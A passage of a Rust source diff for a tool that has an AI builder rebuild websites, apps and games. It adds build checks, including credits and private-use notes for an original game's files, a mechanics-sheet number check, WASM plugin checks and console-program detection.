follow_up_sections(&self, cx: &BriefCx) -> Vec { + if cx.assets && cx.ws.manifest.generate_assets { + vec![assets_note(cx.ws, cx.image_model)] + } else if !cx.ws.assets().is_empty() { + vec![ASSETS_NOW_OFF.to_string()] + } else { + Vec::new() + } + } + + /// Every game must play its core loop; a game of a website has no mechanics sheet (its brief + /// doesn't ask for one), and only Deep mode on a program brings in the original's files. + fn checks(&self, ws: &Workspace) -> Vec> { + let mut v: Vec> = vec![Box::new(BuildCheck), Box::new(ScreenshotCheck), Box::new(SelfTestCheck)]; + if !matches!(ws.manifest.target, TargetRef::Website { .. }) { + v.push(Box::new(MechanicsCheck)); + v.push(Box::new(DeepOnly(CreditsCheck))); + } + v + } +} + +/// Deep mode with the original's files: the build says which it used (`app/CREDITS.md`) and that +/// it is for private use (`app/README.md` with `PRIVATE_USE_NOTE`), as the brief asks. +pub struct CreditsCheck; + +impl CreditsCheck { + pub const ID: &'static str = "credits"; +} + +impl Check for CreditsCheck { + fn id(&self) -> &'static str { + Self::ID + } + + fn run(&self, cx: &mut CheckCx) -> Result { + let (passed, note) = credits(&cx.ws.app_dir()); + Ok(CheckResult::new(self.id(), cx.round, passed, note)) + } +} + +/// Whether `app/` credits the original's files and says they're private, with the note. +fn credits(app: &Path) -> (bool, String) { + // Whitespace collapsed, so a wrapped line still counts. + let read = |name: &str| std::fs::read_to_string(app.join(name)).unwrap_or_default().split_whitespace().collect::>().join(" "); + let mut add = Vec::new(); + if !read("README.md").contains(PRIVATE_USE_NOTE) { + add.push(format!("start app/README.md with this line, as written: \"{PRIVATE_USE_NOTE}\"")); + } + if read("CREDITS.md").is_empty() { + add.push("list every original file you used in app/CREDITS.md, with its path in the game's folder".to_string()); + } + if add.is_empty() { + (true, "app/README.md says the build is for private use and app/CREDITS.md lists the original's files.".into()) + } else { + (false, format!("This build uses the original game's own files, so {}.", add.join(", and "))) + } +} + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn the_originals_files_need_credits_and_the_private_use_note() { + let d = tempfile::tempdir().unwrap(); + let (ok, note) = credits(d.path()); + assert!(!ok && note.contains("app/README.md with this line") && note.contains(PRIVATE_USE_NOTE) && note.contains("app/CREDITS.md"), "{note}"); + // The note wrapped over lines under a heading counts; a README without it doesn't. + std::fs::write( + d.path().join("README.md"), + format!( + "# Game + +{} + +How to play…", + PRIVATE_USE_NOTE.replacen( + ", for", ", +for", 1 + ) + ), + ) + .unwrap(); + std::fs::write( + d.path().join("CREDITS.md"), + " +", + ) + .unwrap(); + let (ok, note) = credits(d.path()); + assert!(!ok && !note.contains("README") && note.contains("CREDITS.md"), "an empty CREDITS.md fails: {note}"); + std::fs::write(d.path().join("CREDITS.md"), "- Content/Rock.uasset from Game/Content/Paks").unwrap(); + assert!(credits(d.path()).0); + std::fs::write( + d.path().join("README.md"), + "# Game +A private copy.", + ) + .unwrap(); + assert!(!credits(d.path()).0, "the note must be there as written"); + } +} diff --git a/desktop/crates/ai/src/rebuild/kinds/mechanics.rs b/desktop/crates/ai/src/rebuild/kinds/mechanics.rs new file mode 100644 index 0000000..1869d67 --- /dev/null +++ b/desktop/crates/ai/src/rebuild/kinds/mechanics.rs @@ -0,0 +1,242 @@ +//! Games (and apps decompiled in Deep mode) keep their numbers in `app/MECHANICS.md` for people and in `app/mechanics.json` for +//! checks ([`craft_anything_engine::mechanics`]). [`MechanicsCheck`] holds the build to the +//! sheet: it must exist and be readable, and every number in it must appear in the code as +//! written unless it's marked estimated (a value the code computes, or keeps in other units, is +//! written there as the sheet has it). The note also says which values have no source. + +use super::*; +use craft_anything_engine::mechanics::{self, MechanicValue, SheetProblem}; +use std::collections::HashSet; + +/// What every game brief asks for, so the check can read the numbers. +pub const MECHANICS_CONTRACT: &str = "Keep the same values in app/mechanics.json, which REI Reverse Engineer reads after each build: {\"version\": 1, \"values\": [{\"name\": \"walk speed\", \"group\": \"movement\", \"value\": 4.5, \"unit\": \"m/s\", \"source\": \"function 0x140012a0\"}, {\"name\": \"crouch\", \"group\": \"controls\", \"value\": \"hold\", \"estimated\": true}]}. A value is a number, text or true/false; give each one its source or \"estimated\": true, and use the sheet's numbers in the code as they're written there."; + +/// At most this many names are listed in a note. +const LISTED: usize = 8; +/// Code files bigger than this aren't read for numbers. +const MAX_FILE: u64 = 2 * 1024 * 1024; +/// Stop reading code after this much. +const MAX_CODE: u64 = 32 * 1024 * 1024; +const MAX_DEPTH: usize = 16; +/// Folders inside `app/` that hold builds, dependencies or tools' caches (Unreal's too), not the +/// builder's code; compared without case. +const SKIP_DIRS: [&str; 14] = + ["target", "node_modules", "build", "dist", "bin", "obj", "library", "temp", "shots", "addons", "binaries", "intermediate", "saved", "deriveddatacache"]; +/// Code and data files a number may be written in. +const CODE: [&str; 26] = [ + "rs", "gd", "cs", "c", "cc", "cpp", "h", "hpp", "js", "mjs", "ts", "py", "lua", "go", "java", "kt", "swift", "tres", "tscn", "cfg", "ini", "toml", "yaml", + "yml", "json", "glsl", +]; + +pub struct MechanicsCheck; + +impl MechanicsCheck { + pub const ID: &'static str = "mechanics"; +} + +impl Check for MechanicsCheck { + fn id(&self) -> &'static str { + Self::ID + } + + fn run(&self, cx: &mut CheckCx) -> Result { + let round = cx.round; + let sheet = match mechanics::read(&cx.ws.mechanics_path()) { + Ok(s) => s, + Err(p) => return Ok(CheckResult::new(self.id(), round, false, format!("{} {MECHANICS_CONTRACT}", problem_note(&p)))), + }; + let found = numbers_in(&cx.ws.app_dir()); + let estimated = sheet.values.iter().filter(|v| v.estimated).count(); + let sourced = sheet.values.iter().filter(|v| !v.source.trim().is_empty()).count(); + let mut note = format!("app/mechanics.json has {} values ({sourced} with a source, {estimated} estimated).", sheet.values.len()); + let unsourced: Vec<&str> = sheet.values.iter().filter(|v| v.unsourced()).map(|v| v.name.as_str()).collect(); + if !unsourced.is_empty() { + note.push_str(&format!(" {} have neither a source nor \"estimated\": {}.", unsourced.len(), listed(&unsourced))); + } + // An estimate may stay out of the code; a number found in the original must be used. + let missing: Vec = sheet + .values + .iter() + .filter_map(|v| match v.value { + MechanicValue::Number(n) if !v.estimated && !found.contains(&key(n)) => Some(format!("{} ({n})", v.name)), + _ => None, + }) + .collect(); + if !missing.is_empty() { + let names: Vec<&str> = missing.iter().map(String::as_str).collect(); + note.push_str(&format!( + " {} numbers from the original aren't in the code as written: {}. Use each in the code as the sheet writes it (build what uses it if it's missing), correct the sheet, or mark it \"estimated\" if it wasn't found in the original.", + missing.len(), + listed(&names) + )); + } + // Each number found in the original is a claim of its own: it must be in the code. + let claims = sheet + .values + .iter() + .filter_map(|v| match v.value { + MechanicValue::Number(n) if !v.estimated => Some(craft_anything_engine::workspace::Claim::new( + format!("{} ({n}) is used in the code", v.name), + found.contains(&key(n)), + "not in the code as written", + )), + _ => None, + }) + .take(60) + .collect(); + Ok(CheckResult { claims, ..CheckResult::new(self.id(), round, missing.is_empty(), note) }) + } +} + +fn problem_note(p: &SheetProblem) -> String { + match p { + SheetProblem::Missing => "There's no app/mechanics.json yet.".into(), + SheetProblem::TooLarge => format!("app/mechanics.json is over {} KB: keep it to the values that shape play.", mechanics::MAX_BYTES / 1024), + SheetProblem::Unreadable(why) => format!("app/mechanics.json can't be read: {why}."), + SheetProblem::Newer(v) => format!("app/mechanics.json says version {v}; this REI Reverse Engineer reads version {}.", mechanics::MECHANICS_VERSION), + SheetProblem::Empty => "app/mechanics.json has no values.".into(), + } +} + +/// "a, b, c and 4 more". +fn listed(names: &[&str]) -> String { + let shown = names.iter().take(LISTED).copied().collect::>().join(", "); + match names.len().saturating_sub(LISTED) { + 0 => shown, + more => format!("{shown} and {more} more"), + } +} + +/// A number compared by its first seven significant digits, sign ignored (code often writes the +/// minus apart: `y -= 9.8`). +fn key(n: f64) -> String { + format!("{:.6e}", n.abs()) +} + +/// Every number literal in the code and data files under `dir`. +fn numbers_in(dir: &Path) -> HashSet { + let mut found = HashSet::new(); + let mut budget = MAX_CODE; + walk(dir, 0, &mut budget, &mut found); + found +} + +fn walk(dir: &Path, depth: usize, budget: &mut u64, found: &mut HashSet) { + if depth > MAX_DEPTH { + return; + } + let Ok(rd) = std::fs::read_dir(dir) else { return }; + for e in rd.flatten() { + let path = e.path(); + let name = e.file_name().to_string_lossy().into_owned(); + let Ok(ft) = e.file_type() else { continue }; + if ft.is_dir() { + if !name.starts_with('.') && !SKIP_DIRS.contains(&name.to_ascii_lowercase().as_str()) { + walk(&path, depth + 1, budget, found); + } + continue; + } + let code = path.extension().and_then(|x| x.to_str()).is_some_and(|x| CODE.contains(&x.to_ascii_lowercase().as_str())); + if !ft.is_file() || !code || name == mechanics::MECHANICS { + continue; + } + let Ok(len) = e.metadata().map(|m| m.len()) else { continue }; + if len > MAX_FILE || len > *budget { + continue; + } + *budget -= len; + if let Ok(bytes) = std::fs::read(&path) { + literals(&bytes, found); + } + } +} + +/// The number literals in some text: `4.5`, `.5`, `4.5f`, `1_000`, `1e-3`. Digits inside a word +/// (`vec3`, `x2`) aren't numbers. +fn literals(text: &[u8], found: &mut HashSet) { + let mut i = 0; + while i < text.len() { + let b = text.get(i).copied().unwrap_or(0); + let starts = b.is_ascii_digit() || (b == b'.' && text.get(i + 1).is_some_and(u8::is_ascii_digit)); + let after_word = i > 0 && text.get(i - 1).is_some_and(|p| p.is_ascii_alphanumeric() || *p == b'_' || *p == b'.'); + if !starts || after_word { + i += 1; + continue; + } + let mut s = String::new(); + let mut j = i; + while let Some(&c) = text.get(j) { + if c.is_ascii_digit() || c == b'.' { + s.push(char::from(c)); + } else if c != b'_' { + break; + } + j += 1; + } + // An exponent: e5, e-3, E+2. + if text.get(j).is_some_and(|c| *c == b'e' || *c == b'E') { + let sign = usize::from(text.get(j + 1).is_some_and(|c| *c == b'+' || *c == b'-')); + if text.get(j + 1 + sign).is_some_and(u8::is_ascii_digit) { + s.push('e'); + if sign == 1 { + s.push(char::from(text.get(j + 1).copied().unwrap_or(b'+'))); + } + j += 1 + sign; + while let Some(&c) = text.get(j).filter(|c| c.is_ascii_digit()) { + s.push(char::from(c)); + j += 1; + } + } + } + if let Ok(n) = s.trim_end_matches('.').parse::() { + found.insert(key(n)); + } + i = j.max(i + 1); + } +} + +#[cfg(test)] +mod tests { + use super::*; + + fn nums(text: &str) -> HashSet { + let mut found = HashSet::new(); + literals(text.as_bytes(), &mut found); + found + } + + #[test] + fn number_literals_are_read_as_code_writes_them() { + let f = nums("const WALK: f32 = 4.5; let g = -9.80; x = .25f; big = 1_000; tiny = 1e-3; v = vec3(0.0); p2 = 7."); + for n in [4.5, 9.8, 0.25, 1000.0, 0.001, 0.0, 7.0] { + assert!(f.contains(&key(n)), "{n} in {f:?}"); + } + assert!(!f.contains(&key(3.0)) && !f.contains(&key(2.0)), "digits inside words aren't numbers: {f:?}"); + assert!(nums("1.2.3").contains(&key(1.2)) || nums("1.2.3").is_empty(), "a version string never panics"); + } + + #[test] + fn notes_list_a_few_names() { + let names: Vec = (1..=10).map(|i| format!("v{i}")).collect(); + let refs: Vec<&str> = names.iter().map(String::as_str).collect(); + assert_eq!(listed(&refs), "v1, v2, v3, v4, v5, v6, v7, v8 and 2 more"); + assert_eq!(listed(&refs[..2]), "v1, v2"); + } + + #[test] + fn code_is_read_apart_from_builds_and_the_sheet() { + let dir = tempfile::tempdir().unwrap(); + std::fs::write(dir.path().join("main.rs"), "const JUMP: f32 = 1.25;").unwrap(); + std::fs::write(dir.path().join(mechanics::MECHANICS), r#"{"values": [{"name": "x", "value": 77.5}]}"#).unwrap(); + std::fs::create_dir_all(dir.path().join("target")).unwrap(); + std::fs::write(dir.path().join("target/gen.rs"), "33.5").unwrap(); + std::fs::create_dir_all(dir.path().join("Intermediate")).unwrap(); + std::fs::write(dir.path().join("Intermediate/Game.gen.cpp"), "55.5").unwrap(); + std::fs::write(dir.path().join("notes.txt"), "44.5").unwrap(); + let f = numbers_in(dir.path()); + assert!(f.contains(&key(1.25))); + for n in [77.5, 33.5, 44.5, 55.5] { + assert!(!f.contains(&key(n)), "{n}: the sheet, builds and other files aren't code"); + } + } +} diff --git a/desktop/crates/ai/src/rebuild/kinds/mod.rs b/desktop/crates/ai/src/rebuild/kinds/mod.rs new file mode 100644 index 0000000..0f7dc87 --- /dev/null +++ b/desktop/crates/ai/src/rebuild/kinds/mod.rs @@ -0,0 +1,313 @@ +//! What is being made. Each kind of target (website, app, game) is a [`TargetKind`]: how a +//! request is recognised as one, its default stack, what the builder is told, and the +//! [`Check`]s that judge a build. A [`KindRegistry`] holds them; add a kind by implementing the +//! trait and calling [`KindRegistry::register`]. + +mod app; +mod game; +pub mod mechanics; +pub mod plugin_check; +pub mod runs; +pub mod screenshot; +pub mod self_test; +pub mod website; + +pub use app::{AppKind, RUNS_BRIEF}; +pub use game::{CreditsCheck, GameKind}; +pub use mechanics::MechanicsCheck; +pub use runs::RunsCheck; +pub use screenshot::ScreenshotCheck; +pub use self_test::SelfTestCheck; +pub use website::{WebVisualCheck, WebsiteKind}; + +use super::check::build_check; +use super::*; + +/// What a kind is recognised from: the person's words, the target and the stack (when chosen). +pub struct DetectCx<'a> { + /// Lower-case request padded with spaces (`" clone this website "`), for phrase matching. + pub request: String, + /// The request as whole lower-case words padded with spaces, punctuation removed. + pub words: String, + pub target: &'a TargetRef, + /// The project's stack, or empty before one is chosen. + pub stack: &'a str, + /// Deep mode: the kind may look inside a local target (its files) to pick a stack. + pub deep: bool, +} + +impl<'a> DetectCx<'a> { + pub fn new(request: &str, target: &'a TargetRef, stack: &'a str) -> DetectCx<'a> { + let words = stacks::words(request); + let request = format!(" {} ", request.to_lowercase()); + DetectCx { request, words, target, stack, deep: false } + } + + /// Any of these phrases appears in the request. + pub fn says(&self, phrases: &[&str]) -> bool { + phrases.iter().any(|p| self.request.contains(p)) + } +} + +/// What the brief is written from. +pub struct BriefCx<'a> { + pub ws: &'a Workspace, + /// Deep mode: decompiling the target is allowed (and required for programs). + pub deep: bool, + /// Ghidra is installed, so decompiling uses it. + pub ghidra: bool, + /// The game engine's editor for engine stacks. + pub editor: Option<&'a Path>, + /// An asset provider's key is set up; assets are offered only if the project also allows them + /// (`Manifest::generate_assets`). + pub assets: bool, + /// The picture model chosen in Settings (an asset-table id); `None` = the table's default. + pub image_model: Option<&'a str>, +} + +/// The words the app uses for a kind's result. +#[derive(Debug, Clone, Copy, PartialEq, Eq)] +pub struct KindWords { + pub button: &'static str, + pub icon: &'static str, + pub ready: &'static str, + pub change_hint: &'static str, +} + +/// A kind of thing REI Reverse Engineer can make. +pub trait TargetKind: Send + Sync { + /// Stable id, stored with the project: `"website"`, `"app"`, `"game"`. + fn id(&self) -> &'static str; + /// How the app talks about the result. + fn words(&self) -> KindWords; + /// How strongly the request, target and stack say "this kind" (higher wins); `None` if not. + fn detect(&self, cx: &DetectCx) -> Option; + /// The stack used when the person names none. + fn default_stack(&self, cx: &DetectCx) -> &'static str; + /// A stack the request names that only this kind understands ("in Godot" for a game). + fn named_stack(&self, _cx: &DetectCx) -> Option<&'static str> { + None + } + /// For a folder target: also study the folder around the program (a game's content). + fn studies_folder(&self) -> bool { + false + } + /// "What to build" in the brief. + fn goal(&self) -> &'static str; + /// Extra brief sections after the shared steps and rules. + fn brief_sections(&self, _cx: &BriefCx) -> Vec { + Vec::new() + } + /// Sections added to a follow-up message (a builder that resumes its session sees only that), + /// for what may have changed since the brief: the project's settings as they are now. + fn follow_up_sections(&self, _cx: &BriefCx) -> Vec { + Vec::new() + } + /// The result can't be photographed from outside, so the builder screenshots its own. + fn self_screenshots(&self) -> bool { + true + } + /// How a follow-up tells the builder to rebuild. + fn rebuild_words(&self) -> &'static str { + "build it again" + } + /// The checks that judge a build of this kind for this project, in order. + fn checks(&self, ws: &Workspace) -> Vec>; + /// The next round's message after a check that wasn't good enough. + fn refine(&self, check: &CheckResult) -> String { + format!( + "Check {}: {}\n\nFix this in app/, build again until it succeeds, and reply with 1-2 plain sentences on what you changed.", + check.round, check.note + ) + } +} + +/// What a check works with. +pub struct CheckCx<'a> { + worker: &'a Worker, + pub ws: &'a Workspace, + pub round: u32, +} + +impl CheckCx<'_> { + /// Run an engine tool (the same ones the builder has). + pub fn call(&self, tool: &str, params: Value) -> Result { + self.worker.call(tool, params) + } + + /// Serve a folder on loopback as the run's preview; returns its address. + pub fn serve_preview(&self, dir: &Path) -> Result { + let server = serve_dir(dir).map_err(|e| ToolError::io(dir.display(), e))?; + let url = server.url(); + *self.worker.preview.lock().unwrap_or_else(PoisonError::into_inner) = Some(server); + self.worker.emit(RunEvent::Preview(url.clone())); + Ok(url) + } + + /// The game engine's editor for this run (engine stacks). + pub fn editor(&self) -> Option<&Path> { + self.worker.editor.as_deref() + } + + /// Cancelled when the person stops the run. + pub fn stop(&self) -> &CancelToken { + &self.worker.stop + } + + /// How builds are judged (`[build]` in settings). + pub fn build_settings(&self) -> craft_anything_engine::settings::BuildSettings { + self.worker.engine.session().settings.build.clone() + } + + /// Deep mode is on (Ghidra enabled): the builder had to decompile a program target. + pub fn deep(&self) -> bool { + !self.worker.engine.session().clean_room() + } + + /// The Godot installed on this computer, which opens a Godot project. + pub fn godot(&self) -> Option { + let store = self.worker.engine.session().settings.engine_store_dir(); + use craft_anything_engines::game as engine_game; + engine_game::inventory(&engine_game::Places::here(store)).best(engine_game::Builder::Godot).map(|i| i.program.clone()) + } +} + +impl Worker { + /// Run the checks the kind asks for in this round, in order, then the WASM plugins' checks for + /// this kind. One that fails stops the rest: a later check needs what an earlier one proved (a + /// screenshot needs a build). + pub(super) fn run_checks(&self, ws: &Workspace, kind: &dyn TargetKind, round: u32) -> Result, ToolError> { + let mut cx = CheckCx { worker: self, ws, round }; + let mut out = Vec::new(); + let from_plugins = craft_anything_engine::wasm_plugins::checks(&self.engine.session()); + let plugin_checks = from_plugins + .into_iter() + .filter(|c| c.kinds.is_empty() || c.kinds.iter().any(|k| k == kind.id())) + .map(|check| Box::new(plugin_check::PluginJudge { check, kind: kind.id() }) as Box); + for c in kind.checks(ws).into_iter().chain(plugin_checks) { + if !c.applies(&cx) { + continue; + } + let r = c.run(&mut cx)?; + let failed = !r.passed; + out.push(r); + if failed { + break; + } + } + Ok(out) + } +} + +/// One way of judging a build. +pub trait Check: Send + Sync { + /// Stable id, stored in each [`CheckResult`]. + fn id(&self) -> &'static str; + /// Whether it runs in this run at all (a skipped check leaves no result). + fn applies(&self, _cx: &CheckCx) -> bool { + true + } + fn run(&self, cx: &mut CheckCx) -> Result; +} + +/// A check that runs only in Deep mode on a program target, where the brief asked for what it +/// checks (an app's mechanics sheet, the credits for a game's original files). +pub struct DeepOnly(pub C); + +impl Check for DeepOnly { + fn id(&self) -> &'static str { + self.0.id() + } + fn applies(&self, cx: &CheckCx) -> bool { + matches!(cx.ws.manifest.target, TargetRef::Local { .. }) && cx.deep() && self.0.applies(cx) + } + fn run(&self, cx: &mut CheckCx) -> Result { + self.0.run(cx) + } +} + +/// The project's own build must succeed (cargo, npm, or the game engine's). +pub struct BuildCheck; + +impl Check for BuildCheck { + fn id(&self) -> &'static str { + CheckResult::BUILD + } + fn run(&self, cx: &mut CheckCx) -> Result { + let (passed, note) = build_check(&cx.ws.app_dir(), cx.ws.app_place(), &cx.ws.manifest.stack, cx.editor(), cx.stop()); + Ok(CheckResult::new(self.id(), cx.round, passed, note)) + } +} + +/// The kinds a run can choose from. +#[derive(Clone)] +pub struct KindRegistry { + kinds: Vec>, +} + +impl std::fmt::Debug for KindRegistry { + fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result { + f.debug_list().entries(self.kinds.iter().map(|k| k.id())).finish() + } +} + +impl Default for KindRegistry { + fn default() -> Self { + KindRegistry::built_in() + } +} + +impl KindRegistry { + /// Website, game and app. + pub fn built_in() -> KindRegistry { + KindRegistry { kinds: vec![Arc::new(WebsiteKind), Arc::new(GameKind), Arc::new(AppKind)] } + } + + /// Add a kind, or replace the one with the same id. + pub fn register(&mut self, kind: Arc) { + self.kinds.retain(|k| k.id() != kind.id()); + self.kinds.push(kind); + } + + pub fn get(&self, id: &str) -> Option> { + self.kinds.iter().find(|k| k.id() == id).cloned() + } + + pub fn ids(&self) -> Vec<&'static str> { + self.kinds.iter().map(|k| k.id()).collect() + } + + /// The kind that claims the project most strongly; ties go to the one registered first. + pub fn detect(&self, request: &str, target: &TargetRef, stack: &str) -> Option> { + let cx = DetectCx::new(request, target, stack); + let mut best: Option<(u32, &Arc)> = None; + for k in &self.kinds { + if let Some(score) = k.detect(&cx) + && best.is_none_or(|(b, _)| score > b) + { + best = Some((score, k)); + } + } + best.map(|(_, k)| k.clone()) + } + + /// The kind and stack for a new project: a stack the person names wins, else the kind's. In + /// Deep mode (`deep`) the kind's default may come from looking inside the target. + pub fn choose(&self, request: &str, target: &TargetRef, deep: bool) -> Option<(Arc, &'static str)> { + let kind = self.detect(request, target, "")?; + let cx = DetectCx { deep, ..DetectCx::new(request, target, "") }; + let stack = kind.named_stack(&cx).or_else(|| named_stack(&cx)).unwrap_or_else(|| kind.default_stack(&cx)); + Some((kind, stack)) + } + + /// The stack the request names, if it names one any kind knows ("in Godot", "use Electron"). + pub fn named(&self, request: &str, target: &TargetRef) -> Option<&'static str> { + let cx = DetectCx::new(request, target, ""); + self.kinds.iter().find_map(|k| k.named_stack(&cx)).or_else(|| named_stack(&cx)) + } +} + +/// Stacks any kind can be asked for by name (`asked_by` in `stacks.toml`). +fn named_stack(cx: &DetectCx) -> Option<&'static str> { + stacks::asked_for(&cx.words).map(|s| s.name.as_str()) +} diff --git a/desktop/crates/ai/src/rebuild/kinds/plugin_check.rs b/desktop/crates/ai/src/rebuild/kinds/plugin_check.rs new file mode 100644 index 0000000..263c13d --- /dev/null +++ b/desktop/crates/ai/src/rebuild/kinds/plugin_check.rs @@ -0,0 +1,151 @@ +//! Checks from WASM plugins (`craft-anything:plugin/checks`), run after a kind's own checks. A +//! plugin can't read files, so it gets the build as JSON: every file's path and size, and the text +//! of the files with the extensions it asked for (capped). A plugin that fails to run doesn't fail +//! the build: its result passes with a note saying why, so the builder isn't sent to fix it. + +use super::*; +use craft_anything_engine::wasm_plugins::PluginCheck; +use std::sync::Arc; + +/// Files listed per build. +const MAX_FILES: usize = 20_000; +/// Text given per file, and in all. +const MAX_TEXT: u64 = 256 << 10; +const MAX_TOTAL_TEXT: u64 = 8 << 20; +/// Folders of dependencies, caches and build output, left out of the listing. +const SKIP_DIRS: &[&str] = &[ + "node_modules", + "target", + ".git", + "dist", + "build", + "Library", + "Temp", + "obj", + "bin", + ".godot", + "Intermediate", + "Saved", + "DerivedDataCache", + "__pycache__", + ".venv", +]; + +/// A plugin check for one kind of project. +pub struct PluginJudge { + pub check: Arc, + pub kind: &'static str, +} + +impl Check for PluginJudge { + fn id(&self) -> &'static str { + self.check.id + } + + fn run(&self, cx: &mut CheckCx) -> Result { + Ok(self.judge(cx.ws, cx.round)) + } +} + +impl PluginJudge { + /// The plugin's verdict on the build in `ws`, for round `round`. + fn judge(&self, ws: &Workspace, round: u32) -> CheckResult { + let build = build_json(ws, self.kind, round, &self.check.extensions); + match self.check.run(&build) { + Ok(v) => { + let passed = v.get("passed").and_then(Value::as_bool).unwrap_or(false); + let summary = v.get("summary").and_then(Value::as_str).unwrap_or(if passed { "Passed." } else { "Didn't pass." }); + let similarity = v.get("similarity").and_then(Value::as_f64).filter(|s| s.is_finite()).map(|s| s.clamp(0.0, 100.0)); + CheckResult { similarity, ..CheckResult::new(self.check.id, round, passed, format!("{}: {summary}", self.check.title)) } + } + Err(e) => CheckResult::new(self.check.id, round, true, format!("The {} check couldn't run: {}", self.check.title, e.message)), + } + } +} + +/// The build as a plugin check sees it (see plugin.wit). +pub fn build_json(ws: &Workspace, kind: &str, round: u32, extensions: &[String]) -> Value { + let app = ws.app_dir(); + let mut files = Vec::new(); + let mut truncated = false; + let mut text_total = 0u64; + let mut stack = vec![(app.clone(), 0usize)]; + let mut found: Vec<(String, PathBuf, u64)> = Vec::new(); + while let Some((dir, depth)) = stack.pop() { + let Ok(rd) = std::fs::read_dir(&dir) else { continue }; + for entry in rd.flatten() { + let path = entry.path(); + let Ok(meta) = entry.metadata() else { continue }; + if meta.is_dir() { + let name = entry.file_name(); + if depth < 32 && !SKIP_DIRS.iter().any(|d| name.to_str() == Some(*d)) { + stack.push((path, depth + 1)); + } + continue; + } + if found.len() >= MAX_FILES { + truncated = true; + continue; + } + let rel = path.strip_prefix(&app).unwrap_or(&path).to_string_lossy().replace('\\', "/"); + found.push((rel, path, meta.len())); + } + } + found.sort_by(|a, b| a.0.cmp(&b.0)); + for (rel, path, size) in found { + let wanted = path.extension().and_then(|e| e.to_str()).is_some_and(|e| extensions.iter().any(|x| x.trim_start_matches('.').eq_ignore_ascii_case(e))); + let mut entry = json!({"path": rel, "size": size}); + if wanted { + if size > MAX_TEXT || text_total + size > MAX_TOTAL_TEXT { + truncated = true; + } else if let Ok(text) = std::fs::read_to_string(&path) { + text_total += size; + entry["text"] = json!(text); + } + } + files.push(entry); + } + json!({ + "request": ws.manifest.request, + "kind": kind, + "stack": ws.manifest.stack, + "round": round, + "files": files, + "truncated": truncated, + }) +} + +#[cfg(test)] +mod tests { + use super::*; + use craft_anything_engine::workspace::TargetRef; + + #[test] + fn a_plugin_sees_the_files_and_the_text_it_asked_for() { + let d = tempfile::tempdir().unwrap(); + let ws = Workspace::create(d.path(), "Game", "A snake game", TargetRef::None).unwrap(); + let app = ws.app_dir(); + std::fs::create_dir_all(app.join("src")).unwrap(); + std::fs::create_dir_all(app.join("node_modules/x")).unwrap(); + std::fs::write(app.join("README.md"), "# Snake").unwrap(); + std::fs::write(app.join("src/main.rs"), "fn main() {}").unwrap(); + std::fs::write(app.join("node_modules/x/index.js"), "x").unwrap(); + let b = build_json(&ws, "game", 2, &["md".into()]); + assert_eq!((b["kind"].clone(), b["round"].clone(), b["request"].clone()), (json!("game"), json!(2), json!("A snake game"))); + assert_eq!(b["files"], json!([{"path": "README.md", "size": 7, "text": "# Snake"}, {"path": "src/main.rs", "size": 12}]), "dependencies are left out"); + } + + #[test] + fn a_plugin_that_fails_to_run_doesnt_fail_the_build() { + let d = tempfile::tempdir().unwrap(); + let ws = Workspace::create(d.path(), "Game", "A snake game", TargetRef::None).unwrap(); + let judge = |answer: Result| { + let check = PluginCheck::new("judge_style", "Style", Vec::new(), Vec::new(), move |_| answer.clone()); + PluginJudge { check: Arc::new(check), kind: "game" } + }; + let r = judge(Ok(json!({"passed": false, "similarity": 140, "summary": "No title screen."}))).judge(&ws, 1); + assert_eq!((r.passed, r.similarity, r.note.as_str()), (false, Some(100.0), "Style: No title screen.")); + let r = judge(Err(ToolError::invalid("boom"))).judge(&ws, 1); + assert!(r.passed && r.similarity.is_none() && r.note.contains("couldn't run: boom"), "{r:?}"); + } +} diff --git a/desktop/crates/ai/src/rebuild/kinds/runs.rs b/desktop/crates/ai/src/rebuild/kinds/runs.rs new file mode 100644 index 0000000..edf0128 --- /dev/null +++ b/desktop/crates/ai/src/rebuild/kinds/runs.rs @@ -0,0 +1,329 @@ +//! Console programs can't be photographed, so they are compared by their runs: with runtime study +//! on, Study runs the original with each input in [`CASES`] (`runtime_walkthrough_record`) and keeps +//! what it printed and how it exited in `capture/runs/`; [`RunsCheck`] runs the rebuild the same +//! way and claims, input by input, that it exits like the original and prints what it prints. + +use super::*; +use craft_anything_engine::workspace::Claim; + +/// Where the original's runs are kept in the capture folder. +pub const RUNS_DIR: &str = "runs"; + +/// The inputs both programs are run with: (name, arguments). Add an input with one line. +pub const CASES: &[(&str, &[&str])] = &[("no arguments", &[]), ("--help", &["--help"]), ("--version", &["--version"])]; + +/// How long one run may take; a program still running then (waiting for input) is a result too. +const RUN_MS: u64 = 8_000; +/// How much of the output's words must match for "prints what the original prints". +const OUTPUT_ALIKE: f64 = 80.0; + +/// Libraries a windowed program loads, matched lower-case as part of the name. ELF and Mach-O +/// don't mark a console program, so one that loads none of these is taken for one (and Study +/// checks it really ran like one: [`ran_like_console`]). +const WINDOW_LIBRARIES: &[&str] = &[ + "libx11", + "libxcb", + "libwayland", + "libgtk", + "libgdk", + "libqt", + "libsdl", + "libglfw", + "libgl.", + "libegl", + "libvulkan", + "appkit.framework", + "cocoa.framework", + "uikit.framework", + "swiftui.framework", + "metal.framework", + "quartzcore.framework", +]; + +/// The most of a Linux or macOS program read to see what it loads. +const MAX_READ: u64 = 256 << 20; + +/// A console program: a Windows program marked for the console, or a Linux or macOS executable +/// that loads no windowing library. +pub fn is_console(program: &Path) -> bool { + use std::io::Read as _; + let read = |limit: u64| -> Option> { + let mut bytes = Vec::new(); + std::fs::File::open(program).and_then(|f| f.take(limit).read_to_end(&mut bytes)).ok()?; + Some(bytes) + }; + let Some(head) = read(64 * 1024) else { return false }; + if head.starts_with(b"MZ") { + return craft_anything_formats::pe::headers(&head).is_ok_and(|h| h.subsystem == 3); + } + let Some(b) = read(MAX_READ).and_then(|bytes| craft_anything_formats::parse_binary(&bytes).ok()) else { return false }; + loads_no_window(&b) +} + +/// An ELF or Mach-O executable that loads none of [`WINDOW_LIBRARIES`]. +fn loads_no_window(b: &craft_anything_formats::Binary) -> bool { + use craft_anything_formats::Format; + matches!(b.format, Format::Elf | Format::MachO) + && b.entry.is_some() + && !b.libraries.iter().any(|l| { + let l = l.to_lowercase(); + WINDOW_LIBRARIES.iter().any(|w| l.contains(w)) + }) +} + +/// Whether the kept runs look like a console program's: one of them printed something or ended +/// by itself. A program that sat silent through every input is a windowed one after all (one +/// that opens its windowing library only once it runs). +pub fn ran_like_console(runs: &[Value]) -> bool { + runs.iter().any(|r| r.get("reason").and_then(Value::as_str) == Some("exited") || 